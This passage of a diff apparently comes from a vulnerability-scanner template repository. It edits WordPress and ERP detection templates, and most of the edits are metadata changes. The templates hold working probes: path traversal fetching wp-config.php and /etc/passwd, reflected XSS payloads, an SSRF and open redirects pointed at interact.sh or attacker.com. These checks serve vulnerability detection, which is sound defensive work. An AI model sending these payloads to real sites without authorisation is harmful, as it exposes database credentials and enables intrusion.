application/x-www-form-urlencoded; charset=UTF-8 - action=epsilon_framework_ajax_action&args%5Baction%5D%5B%5D=Requests&args%5Baction%5D%5B%5D=request_multiple&args%5Bargs%5D%5B0%5D%5Burl%5D=http://example.com + action=epsilon_framework_ajax_action&args%5Baction%5D%5B%5D=Requests&args%5Baction%5D%5B%5D=request_multiple&args%5Bargs%5D%5B0%5D%5Burl%5D=http://interact.sh matchers-condition: and matchers: - type: word - words: - - "Example Domain" - - "protocol_version" part: body + words: + - "Interactsh Server" + - "protocol_version" - type: status status: diff --git a/vulnerabilities/wordpress/wp-nextgen-xss.yaml b/vulnerabilities/wordpress/wp-nextgen-xss.yaml index b6dd8865a7..77898ef069 100644 --- a/vulnerabilities/wordpress/wp-nextgen-xss.yaml +++ b/vulnerabilities/wordpress/wp-nextgen-xss.yaml @@ -1,11 +1,11 @@ id: wp-nextgen-xss info: - name: WordPress Plugin NextGEN Gallery 1.9.10 - Reflected Cross-Site Scripting (XSS) + name: WordPress Plugin NextGEN Gallery 1.9.10 - Cross-Site Scripting author: daffainfo severity: medium reference: - - https://www.securityfocus.com/bid/57200/info + - http://web.archive.org/web/20210123110617/https://www.securityfocus.com/bid/57200/info tags: wordpress,xss,wp-plugin requests: diff --git a/vulnerabilities/wordpress/wp-oxygen-theme-lfi.yaml b/vulnerabilities/wordpress/wp-oxygen-theme-lfi.yaml index 2621c00a21..f6fc60ba46 100644 --- a/vulnerabilities/wordpress/wp-oxygen-theme-lfi.yaml +++ b/vulnerabilities/wordpress/wp-oxygen-theme-lfi.yaml @@ -1,12 +1,16 @@ id: wp-oxygen-theme-lfi info: - name: WordPress Oxygen-Theme - Arbitrary File Retrieval + name: WordPress Oxygen-Theme - Local File Inclusion author: 0x_Akoko severity: high - description: The WordPress Oxygen-Theme has a local file retrieval vulnerability in 'file' parameter of 'download.php'. + description: WordPress Oxygen-Theme has a local file inclusion vulnerability via the 'file' parameter of 'download.php'. reference: - https://cxsecurity.com/issue/WLB-2019030178 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: wordpress,wp-theme,lfi requests: @@ -26,3 +30,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/29 diff --git a/vulnerabilities/wordpress/wp-phpfreechat-xss.yaml b/vulnerabilities/wordpress/wp-phpfreechat-xss.yaml index 6deb475d0b..2d26b9e760 100644 --- a/vulnerabilities/wordpress/wp-phpfreechat-xss.yaml +++ b/vulnerabilities/wordpress/wp-phpfreechat-xss.yaml @@ -1,11 +1,11 @@ id: wp-phpfreechat-xss info: - name: WordPress Plugin PHPFreeChat - 'url' Reflected Cross-Site Scripting (XSS) + name: WordPress Plugin PHPFreeChat - 'url' Cross-Site Scripting author: daffainfo severity: medium reference: - - https://www.securityfocus.com/bid/54332/info + - http://web.archive.org/web/20210120061848/https://www.securityfocus.com/bid/54332/info tags: wordpress,xss,wp-plugin requests: diff --git a/vulnerabilities/wordpress/wp-plugin-1-flashgallery-listing.yaml b/vulnerabilities/wordpress/wp-plugin-1-flashgallery-listing.yaml index d4476cb5a1..41facd779d 100644 --- a/vulnerabilities/wordpress/wp-plugin-1-flashgallery-listing.yaml +++ b/vulnerabilities/wordpress/wp-plugin-1-flashgallery-listing.yaml @@ -1,28 +1,28 @@ -id: wp-plugin-1-flashgallery-listing +id: wp-plugin-1-flashgallery-listing -info: - name: WordPress 1 flash gallery listing - author: pussycat0x - severity: info - description: Searches for sensitive directories present in the wordpress-plugins plugin. - reference: https://www.exploit-db.com/ghdb/6978 - tags: wordpress,listing +info: + name: WordPress 1 flash gallery listing + author: pussycat0x + severity: info + description: Searches for sensitive directories present in the 1-flash-gallery plugin. + reference: https://www.exploit-db.com/ghdb/6978 + tags: wordpress,listing -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/1-flash-gallery/" - - "{{BaseURL}}/blog/wp-content/plugins/1-flash-gallery/" - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - words: - - "Index of" - - "/wp-content/plugins/1-flash-gallery" - condition: and - - - type: status - status: - - 200 +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/1-flash-gallery/" + - "{{BaseURL}}/blog/wp-content/plugins/1-flash-gallery/" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + words: + - "Index of" + - "/wp-content/plugins/1-flash-gallery" + condition: and + + - type: status + status: + - 200 diff --git a/vulnerabilities/wordpress/wp-plugin-lifterlms.yaml b/vulnerabilities/wordpress/wp-plugin-lifterlms.yaml index 01b472a14f..0bdd0e3c5a 100644 --- a/vulnerabilities/wordpress/wp-plugin-lifterlms.yaml +++ b/vulnerabilities/wordpress/wp-plugin-lifterlms.yaml @@ -4,10 +4,10 @@ info: name: WordPress Plugin lifterlms Listing author: pussycat0x severity: info - description: Searches for sensitive directories present in the wordpress-plugins plugin. + description: Searches for sensitive directories present in the lifterlms plugin. reference: - https://www.exploit-db.com/ghdb/6420 - tags: wordpress,listing,plugin + tags: wordpress,listing,plugin,edb requests: - method: GET diff --git a/vulnerabilities/wordpress/wp-plugin-utlimate-member.yaml b/vulnerabilities/wordpress/wp-plugin-utlimate-member.yaml index ef8c63ffec..a223eb525c 100644 --- a/vulnerabilities/wordpress/wp-plugin-utlimate-member.yaml +++ b/vulnerabilities/wordpress/wp-plugin-utlimate-member.yaml @@ -4,10 +4,10 @@ info: name: WordPress Plugin Ultimate Member author: pussycat0x severity: info - description: Searches for sensitive directories present in the wordpress-plugins plugin. + description: Searches for sensitive directories present in the ultimate-member plugin. reference: - https://www.exploit-db.com/ghdb/6998 - tags: wordpress,listing,plugin + tags: wordpress,listing,plugin,edb requests: - method: GET diff --git a/vulnerabilities/wordpress/wp-prostore-open-redirect.yaml b/vulnerabilities/wordpress/wp-prostore-open-redirect.yaml index 820d21e476..f2bca586ab 100644 --- a/vulnerabilities/wordpress/wp-prostore-open-redirect.yaml +++ b/vulnerabilities/wordpress/wp-prostore-open-redirect.yaml @@ -7,15 +7,15 @@ info: description: The prostore WordPress theme was affected by an Open Redirection security vulnerability. reference: - https://wpscan.com/vulnerability/2e0f8b7f-96eb-443c-a553-550e42ec67dc - tags: wordpress,wp-theme,redirect + tags: wordpress,wp-theme,redirect,wpscan requests: - method: GET path: - - "{{BaseURL}}/wp-content/themes/prostore/go.php?https://example.com/" + - "{{BaseURL}}/wp-content/themes/prostore/go.php?https://interact.sh/" matchers: - type: regex regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' part: header \ No newline at end of file diff --git a/vulnerabilities/wordpress/wp-qards-listing.yaml b/vulnerabilities/wordpress/wp-qards-listing.yaml index e1c84b21a6..3c5a02fbb1 100644 --- a/vulnerabilities/wordpress/wp-qards-listing.yaml +++ b/vulnerabilities/wordpress/wp-qards-listing.yaml @@ -1,25 +1,25 @@ -id: wp-qards-listing +id: wp-qards-listing -info: - name: WordPress Plugin Qards - author: pussycat0x - severity: info - description: Searches for sensitive directories present in the wordpress-plugins plugin. - tags: wordpress,listing,wp-plugin,wp +info: + name: WordPress Plugin Qards + author: pussycat0x + severity: info + description: Searches for sensitive directories present in the qards plugin. + tags: wordpress,listing,wp-plugin,wp -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/qards/" - - matchers-condition: and - matchers: - - type: word - words: - - "Index of" - - "/wp-content/plugins/qards" - condition: and - - - type: status - status: - - 200 +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/qards/" + + matchers-condition: and + matchers: + - type: word + words: + - "Index of" + - "/wp-content/plugins/qards" + condition: and + + - type: status + status: + - 200 diff --git a/vulnerabilities/wordpress/wp-revslider-file-download.yaml b/vulnerabilities/wordpress/wp-revslider-file-download.yaml deleted file mode 100644 index c5ea28f80a..0000000000 --- a/vulnerabilities/wordpress/wp-revslider-file-download.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: wp-revslider-file-download - -info: - name: Wordpress Revslider - Arbitrary File Retrieval - author: pussycat0x - severity: high - description: The Revslider WordPress plugin iss affected by an unauthenticated file retrieval vulnerability, which could result in attacker downloading the wp-config.php file. - reference: - - https://blog.sucuri.net/2014/09/slider-revolution-plugin-critical-vulnerability-being-exploited.html - - https://cxsecurity.com/issue/WLB-2021090129 - metadata: - google-dork: inurl:/wp-content/plugins/revslider - tags: wordpress,wp-plugin,lfi,revslider - -requests: - - method: GET - path: - - '{{BaseURL}}/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' - - '{{BaseURL}}/blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "'DB_NAME'" - - "'DB_PASSWORD'" - - "'DB_USER'" - condition: and - - - type: status - status: - - 200 diff --git a/vulnerabilities/wordpress/wp-securimage-xss.yaml b/vulnerabilities/wordpress/wp-securimage-xss.yaml index 00842e4ba0..d60a1da844 100644 --- a/vulnerabilities/wordpress/wp-securimage-xss.yaml +++ b/vulnerabilities/wordpress/wp-securimage-xss.yaml @@ -1,11 +1,11 @@ id: wp-securimage-xss info: - name: WordPress Plugin Securimage-WP - 'siwp_test.php' Reflected Cross-Site Scripting (XSS) + name: WordPress Plugin Securimage-WP - 'siwp_test.php' Cross-Site Scripting author: daffainfo severity: medium reference: - - https://www.securityfocus.com/bid/59816/info + - http://web.archive.org/web/20210123054214/https://www.securityfocus.com/bid/59816/info tags: wordpress,xss,wp-plugin requests: diff --git a/vulnerabilities/wordpress/wp-security-open-redirect.yaml b/vulnerabilities/wordpress/wp-security-open-redirect.yaml index 6a14088004..98f1e3b08c 100644 --- a/vulnerabilities/wordpress/wp-security-open-redirect.yaml +++ b/vulnerabilities/wordpress/wp-security-open-redirect.yaml @@ -10,15 +10,15 @@ info: - https://wpscan.com/vulnerability/9898 metadata: verified: true - tags: wp-plugin,redirect,wordpress,wp + tags: wp-plugin,redirect,wordpress,wp,wpscan requests: - method: GET path: - - "{{BaseURL}}/?aiowpsec_do_log_out=1&after_logout=https://attacker.com" + - "{{BaseURL}}/?aiowpsec_do_log_out=1&after_logout=https://interact.sh" matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)attacker\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/vulnerabilities/wordpress/wp-sfwd-lms-listing.yaml b/vulnerabilities/wordpress/wp-sfwd-lms-listing.yaml index c6fd4cc1a1..00a7847ee1 100644 --- a/vulnerabilities/wordpress/wp-sfwd-lms-listing.yaml +++ b/vulnerabilities/wordpress/wp-sfwd-lms-listing.yaml @@ -4,10 +4,10 @@ info: name: WordPress Plugin Sfwd-lms Listing author: pussycat0x severity: info - description: Searches for sensitive directories present in the wordpress-plugins plugin. + description: Searches for sensitive directories present in the sfwd-lms plugin. reference: - https://www.exploit-db.com/ghdb/6426 - tags: wordpress,listing,plugin + tags: wordpress,listing,plugin,edb requests: - method: GET diff --git a/vulnerabilities/wordpress/wp-simple-fields-lfi.yaml b/vulnerabilities/wordpress/wp-simple-fields-lfi.yaml index ce5ae50dd1..d491da37b7 100644 --- a/vulnerabilities/wordpress/wp-simple-fields-lfi.yaml +++ b/vulnerabilities/wordpress/wp-simple-fields-lfi.yaml @@ -1,12 +1,13 @@ id: wp-simple-fields-lfi info: - name: WordPress Plugin Simple Fields 0.2 - 0.3.5 LFI/RFI/RCE + name: WordPress Simple Fields 0.2 - 0.3.5 LFI/RFI/RCE author: 0x240x23elu severity: high + description: WordPress Simple Fields 0.2 is vulnerable to local file inclusion, remote file inclusion, and remote code execution. reference: - https://packetstormsecurity.com/files/147102/WordPress-Simple-Fields-0.3.5-File-Inclusion-Remote-Code-Execution.html - tags: wordpress,wp-plugin,lfi + tags: wp-plugin,lfi,packetstorm,wordpress requests: - method: GET @@ -17,4 +18,6 @@ requests: - type: regex regex: - "root:.*:0:0:" - part: body \ No newline at end of file + part: body + +# Enhanced by mp on 2022/07/29 diff --git a/vulnerabilities/wordpress/wp-slideshow-xss.yaml b/vulnerabilities/wordpress/wp-slideshow-xss.yaml index 49be6efa96..f6448d68dd 100644 --- a/vulnerabilities/wordpress/wp-slideshow-xss.yaml +++ b/vulnerabilities/wordpress/wp-slideshow-xss.yaml @@ -1,12 +1,12 @@ id: wp-slideshow-xss info: - name: WordPress Plugin Slideshow - Reflected Cross-Site Scripting (XSS) + name: WordPress Plugin Slideshow - Cross-Site Scripting author: daffainfo severity: medium reference: - https://www.exploit-db.com/exploits/37948 - tags: wordpress,xss,wp-plugin + tags: wordpress,xss,wp-plugin,edb requests: - method: GET diff --git a/vulnerabilities/wordpress/wp-socialfit-xss.yaml b/vulnerabilities/wordpress/wp-socialfit-xss.yaml index 56b6690c8f..0ee001dd39 100644 --- a/vulnerabilities/wordpress/wp-socialfit-xss.yaml +++ b/vulnerabilities/wordpress/wp-socialfit-xss.yaml @@ -1,14 +1,18 @@ id: wp-socialfit-xss info: - name: WordPress Plugin SocialFit - 'msg' Cross-Site Scripting + name: WordPress SocialFit - Cross-Site Scripting author: daffainfo - severity: medium + severity: high description: | - SocialFit plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + WordPress SocialFit is vulnerable to a cross-site scripting vulnerability via the 'msg' parameter because it fails to properly sanitize user-supplied input. reference: - https://www.exploit-db.com/exploits/37481 - tags: wordpress,xss,wp-plugin + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: wordpress,xss,wp-plugin,edb requests: - method: GET @@ -27,3 +31,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/29 diff --git a/vulnerabilities/wordpress/wp-spot-premium-lfi.yaml b/vulnerabilities/wordpress/wp-spot-premium-lfi.yaml index ba80c879e0..9f63edbf14 100644 --- a/vulnerabilities/wordpress/wp-spot-premium-lfi.yaml +++ b/vulnerabilities/wordpress/wp-spot-premium-lfi.yaml @@ -8,7 +8,7 @@ info: reference: - https://wpscan.com/vulnerability/2d465fc4-d4fa-43bb-9c0d-71dcc3ee4eab - https://codeseekah.com/2017/02/09/javo-themes-spot-lfi-vulnerability/ - tags: wordpress,backup + tags: wordpress,backup,wpscan requests: - method: GET diff --git a/vulnerabilities/wordpress/wp-super-forms.yaml b/vulnerabilities/wordpress/wp-super-forms.yaml index 836e6dc4a5..e50a2c149a 100644 --- a/vulnerabilities/wordpress/wp-super-forms.yaml +++ b/vulnerabilities/wordpress/wp-super-forms.yaml @@ -4,10 +4,10 @@ info: name: WordPress super-forms Plugin Directory Listing author: pussycat0x severity: low - description: Searches for sensitive directories present in the wordpress-plugins plugin. + description: Searches for sensitive directories present in the super-forms plugin. reference: - https://www.exploit-db.com/ghdb/6776 - tags: wordpress,listing,plugin + tags: listing,plugin,edb,wordpress requests: - method: GET diff --git a/vulnerabilities/wordpress/wp-sym404.yaml b/vulnerabilities/wordpress/wp-sym404.yaml new file mode 100644 index 0000000000..6211e06068 --- /dev/null +++ b/vulnerabilities/wordpress/wp-sym404.yaml @@ -0,0 +1,29 @@ +id: wp-sym404 + +info: + name: Wordpress sym404 directory + author: pussycat0x + severity: high + description: Searches for sensitive directories present in the sym404. + reference: + - https://twitter.com/momika233/status/1540325055280070656 + metadata: + verified: true + google-query: inurl:"/wp-includes/sym404/" + tags: wordpress,listing,wp,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-includes/sym404/root/etc/passwd" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 diff --git a/vulnerabilities/wordpress/wp-tinymce-lfi.yaml b/vulnerabilities/wordpress/wp-tinymce-lfi.yaml index 3b5ed8a2b9..6c6221a21a 100644 --- a/vulnerabilities/wordpress/wp-tinymce-lfi.yaml +++ b/vulnerabilities/wordpress/wp-tinymce-lfi.yaml @@ -1,13 +1,17 @@ id: wp-tinymce-lfi info: - name: Tinymce Thumbnail Gallery <= 1.0.7 - download-image.php LFI + name: Tinymce Thumbnail Gallery <=1.0.7 - Local File Inclusion author: 0x_Akoko severity: high - description: The Tinymce Thumbnail Gallery WordPress plugin was affected by a download-image.php Local File Inclusion security vulnerability. + description: Tinymce Thumbnail Gallery 1.0.7 and before are vulnerable to local file inclusion via download-image.php. reference: - https://wpscan.com/vulnerability/4a49b023-c1c9-4cc4-a2fd-af5f911bb400 - http://wordpress.org/extend/plugins/tinymce-thumbnail-gallery/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: wordpress,wp-theme,lfi,wordpress,tinymce requests: @@ -27,3 +31,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/29 diff --git a/vulnerabilities/wordpress/wp-tutor-lfi.yaml b/vulnerabilities/wordpress/wp-tutor-lfi.yaml index 904369eb6b..31a1ba7396 100644 --- a/vulnerabilities/wordpress/wp-tutor-lfi.yaml +++ b/vulnerabilities/wordpress/wp-tutor-lfi.yaml @@ -1,12 +1,17 @@ id: wp-tutor-lfi info: - name: WordPress Plugin tutor.1.5.3 - Local File Inclusion + name: WordPress tutor 1.5.3 - Local File Inclusion author: 0x240x23elu severity: high + description: WordPress tutor.1.5.3 is vulnerable to local file inclusion. reference: - https://www.exploit-db.com/exploits/48058 - tags: wordpress,wp-plugin,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: wordpress,wp-plugin,lfi,edb requests: - method: GET @@ -17,4 +22,6 @@ requests: - type: regex regex: - "root:.*:0:0:" - part: body \ No newline at end of file + part: body + +# Enhanced by mp on 2022/07/29 diff --git a/vulnerabilities/wordpress/wp-under-construction-ssrf.yaml b/vulnerabilities/wordpress/wp-under-construction-ssrf.yaml index 2b8590d60e..f965a6c840 100644 --- a/vulnerabilities/wordpress/wp-under-construction-ssrf.yaml +++ b/vulnerabilities/wordpress/wp-under-construction-ssrf.yaml @@ -11,7 +11,7 @@ info: - https://packetstormsecurity.com/files/161576/ metadata: verified: true - tags: ssrf,wp,wp-plugin,wordpress,unauth + tags: ssrf,wp,wp-plugin,wordpress,unauth,wpscan,packetstorm requests: - raw: diff --git a/vulnerabilities/wordpress/wp-upload-data.yaml b/vulnerabilities/wordpress/wp-upload-data.yaml index a43984072a..ad366b15a7 100644 --- a/vulnerabilities/wordpress/wp-upload-data.yaml +++ b/vulnerabilities/wordpress/wp-upload-data.yaml @@ -1,29 +1,29 @@ -id: wordpress-upload-data +id: wordpress-upload-data -info: - name: wordpress-upload-data - author: pussycat0x - severity: medium - description: The remote WordPress installation contains a file 'data.txt' under the '/wp-content/uploads/' folder that has sensitive information inside it. - reference: https://www.exploit-db.com/ghdb/7040 - tags: wordpress,listing +info: + name: wordpress-upload-data + author: pussycat0x + severity: medium + description: The remote WordPress installation contains a file 'data.txt' under the '/wp-content/uploads/' folder that has sensitive information inside it. + reference: https://www.exploit-db.com/ghdb/7040 + tags: wordpress,listing -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/uploads/data.txt" - - matchers-condition: and - matchers: - - type: word - words: - - "admin:" - - - type: word - part: header - words: - - "text/plain" - - - type: status - status: - - 200 +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/uploads/data.txt" + + matchers-condition: and + matchers: + - type: word + words: + - "admin:" + + - type: word + part: header + words: + - "text/plain" + + - type: status + status: + - 200 diff --git a/vulnerabilities/wordpress/wp-vault-lfi.yaml b/vulnerabilities/wordpress/wp-vault-lfi.yaml index 74c0c20b16..083cc7c49f 100644 --- a/vulnerabilities/wordpress/wp-vault-lfi.yaml +++ b/vulnerabilities/wordpress/wp-vault-lfi.yaml @@ -1,12 +1,17 @@ id: wp-vault-local-file-inclusion info: - name: WP Vault 0.8.6.6 Local File Inclusion + name: WordPress Vault 0.8.6.6 - Local File Inclusion author: 0x_Akoko severity: high + description: WordPress Vault 0.8.6.6 is vulnerable to local file inclusion. reference: - https://www.exploit-db.com/exploits/40850 - tags: wp-plugin,wordpress,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: lfi,edb,wp-plugin,wordpress requests: - method: GET @@ -23,3 +28,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/29 diff --git a/vulnerabilities/wordpress/wp-whmcs-xss.yaml b/vulnerabilities/wordpress/wp-whmcs-xss.yaml deleted file mode 100644 index 69a4a54185..0000000000 --- a/vulnerabilities/wordpress/wp-whmcs-xss.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: wp-whmcs-xss - -info: - name: WHMCS Bridge < 6.4b - Reflected Cross-Site Scripting (XSS) - author: dhiyaneshDk - severity: medium - description: The plugin does not sanitise and escape the error parameter before outputting it back in admin dashboard, leading to a Reflected Cross-Site Scripting - reference: - - https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c - tags: wordpress,wp-plugin,authenticated,whmcs,xss - -requests: - - raw: - - | - POST /wp-login.php HTTP/1.1 - Host: {{Hostname}} - Origin: {{RootURL}} - Content-Type: application/x-www-form-urlencoded - Cookie: wordpress_test_cookie=WP%20Cookie%20check - - log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - - | - GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1 - Host: {{Hostname}} - - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - condition: and - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 diff --git a/vulnerabilities/wordpress/wp-woocommerce-email-verification.yaml b/vulnerabilities/wordpress/wp-woocommerce-email-verification.yaml index a0e3bfcb3a..cab4da6eb5 100644 --- a/vulnerabilities/wordpress/wp-woocommerce-email-verification.yaml +++ b/vulnerabilities/wordpress/wp-woocommerce-email-verification.yaml @@ -4,9 +4,16 @@ info: name: Email Verification for WooCommerce < 1.8.2 - Loose Comparison to Authentication Bypass author: random_robbie,daffianfo severity: critical + description: | + Email Verification for WooCommerce Wordpress plugin prior to version 1.8.2 contains a loose comparison issue which could allow any user to log in as administrator. reference: - https://wpvulndb.com/vulnerabilities/10318 - tags: wordpress,wp-plugin,woocommerce + - https://wpscan.com/vulnerability/0c93832c-83db-4053-8a11-70de966bb3a8 + classification: + cvss-metrics: CVSS:10.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-288 + tags: woocommerce,wp,wpscan,wordpress,wp-plugin requests: - method: GET @@ -32,3 +39,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/05/31 diff --git a/vulnerabilities/wordpress/wp-woocommerce-file-download.yaml b/vulnerabilities/wordpress/wp-woocommerce-file-download.yaml index f3d8f59e94..fd5b21b167 100644 --- a/vulnerabilities/wordpress/wp-woocommerce-file-download.yaml +++ b/vulnerabilities/wordpress/wp-woocommerce-file-download.yaml @@ -1,19 +1,19 @@ id: wp-woocommerce-file-download info: - name: WordPress WooCommerce < 1.2.7 - Arbitrary File Retrieval + name: Product Input Fields for WooCommerce < 1.2.7 - Unauthenticated File Download author: 0x_Akoko severity: high - description: WordPress WooCommerce < 1.2.7 is susceptible to file download vulnerabilities. The lack of authorization checks in the handle_downloads() function hooked to admin_init() could allow unauthenticated - users to download arbitrary files from the blog using a path traversal payload. - reference: + description: | + WordPress WooCommerce < 1.2.7 is susceptible to file download vulnerabilities. The lack of authorization checks in the handle_downloads() function hooked to admin_init() could allow unauthenticated users to download arbitrary files from the blog using a path traversal payload. + reference: | - https://wpscan.com/vulnerability/15f345e6-fc53-4bac-bc5a-de898181ea74 - https://blog.nintechnet.com/high-severity-vulnerability-fixed-in-product-input-fields-for-woocommerce/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cwe-id: CWE-22 - tags: wordpress,woocommerce,lfi + tags: wordpress,woocommerce,lfi,wp-plugin,wp requests: - method: GET diff --git a/vulnerabilities/wordpress/wpdm-cache-session.yaml b/vulnerabilities/wordpress/wpdm-cache-session.yaml index bb345d29f7..51acfbbbbe 100644 --- a/vulnerabilities/wordpress/wpdm-cache-session.yaml +++ b/vulnerabilities/wordpress/wpdm-cache-session.yaml @@ -6,7 +6,7 @@ info: severity: medium reference: - https://www.exploit-db.com/ghdb/7004 - tags: wordpress + tags: wordpress,edb requests: - method: GET diff --git a/vulnerabilities/wordpress/wpify-woo-czech-xss.yaml b/vulnerabilities/wordpress/wpify-woo-czech-xss.yaml new file mode 100644 index 0000000000..8c7e74a2b2 --- /dev/null +++ b/vulnerabilities/wordpress/wpify-woo-czech-xss.yaml @@ -0,0 +1,35 @@ +id: wpify-woo-czech-xss + +info: + name: WPify Woo Czech < 3.5.7 - Cross-Site Scripting + author: Akincibor + severity: medium + description: The plugin uses the Vies library v2.2.0, which has a sample file outputting $_SERVER['PHP_SELF'] in an attribute without being escaped first, leading to a Reflected Cross-Site Scripting. The issue is only exploitable when the web server has the PDO driver installed, and write access to the example directory (otherwise an exception will be raised before the payload is output).. + reference: + - https://wpscan.com/vulnerability/5c66c32b-22f2-4b59-a6b2-b8da944cdc3c + metadata: + verified: true + tags: wp,wordpress,xss,wp-plugin,wpify,wpscan + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/wpify-woo/deps/dragonbe/vies/examples/async_processing/queue.php/">' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '">' + - 'Add a new VAT ID to the queue' + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/vulnerabilities/wordpress/wpmudev-pub-keys.yaml b/vulnerabilities/wordpress/wpmudev-pub-keys.yaml index 649ce1c6f4..660da19b6a 100644 --- a/vulnerabilities/wordpress/wpmudev-pub-keys.yaml +++ b/vulnerabilities/wordpress/wpmudev-pub-keys.yaml @@ -6,7 +6,7 @@ info: severity: medium reference: - https://www.exploit-db.com/ghdb/6443 - tags: wordpress + tags: wordpress,edb requests: - method: GET diff --git a/vulnerabilities/wordpress/wptouch-open-redirect.yaml b/vulnerabilities/wordpress/wptouch-open-redirect.yaml index c33b1c8765..c5362a4ad1 100644 --- a/vulnerabilities/wordpress/wptouch-open-redirect.yaml +++ b/vulnerabilities/wordpress/wptouch-open-redirect.yaml @@ -19,10 +19,10 @@ info: requests: - method: GET path: - - "{{BaseURL}}/?wptouch_switch=desktop&redirect=https://example.com/" + - "{{BaseURL}}/?wptouch_switch=desktop&redirect=https://interact.sh/" matchers: - type: regex regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' part: header diff --git a/vulnerabilities/other/erp-nc-directory-traversal.yaml b/vulnerabilities/yonyou/erp-nc-directory-traversal.yaml similarity index 67% rename from vulnerabilities/other/erp-nc-directory-traversal.yaml rename to vulnerabilities/yonyou/erp-nc-directory-traversal.yaml index 1bbf80ae2c..bb4d677333 100644 --- a/vulnerabilities/other/erp-nc-directory-traversal.yaml +++ b/vulnerabilities/yonyou/erp-nc-directory-traversal.yaml @@ -1,11 +1,16 @@ id: erp-nc-directory-traversal info: - name: ERP-NC directory traversal + name: ERP-NC - Local File Inclusion author: pikpikcu severity: high + description: ERP-NC is vulnerable to local file inclusion. reference: - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: lfi,erp-nc requests: @@ -26,3 +31,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/29 diff --git a/vulnerabilities/other/wooyun-path-traversal.yaml b/vulnerabilities/yonyou/wooyun-path-traversal.yaml similarity index 69% rename from vulnerabilities/other/wooyun-path-traversal.yaml rename to vulnerabilities/yonyou/wooyun-path-traversal.yaml index 32f0591370..bdc5b2284a 100644 --- a/vulnerabilities/other/wooyun-path-traversal.yaml +++ b/vulnerabilities/yonyou/wooyun-path-traversal.yaml @@ -1,15 +1,17 @@ id: wooyun-path-traversal info: - name: Wooyun Path Traversal + name: Wooyun - Local File Inclusion author: pikpikcu severity: high description: | - A general document of UFIDA ERP-NC contains a vulnerability - (affecting a large number of well-known school government and enterprise cases - such as COFCO/Minsheng E-commerce/Tsinghua University/Aigo) + Wooyun is vulnerable to local file inclusion. reference: - https://wooyun.x10sec.org/static/bugs/wooyun-2015-0148227.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: lfi,wooyun requests: @@ -28,3 +30,5 @@ requests: - part: body 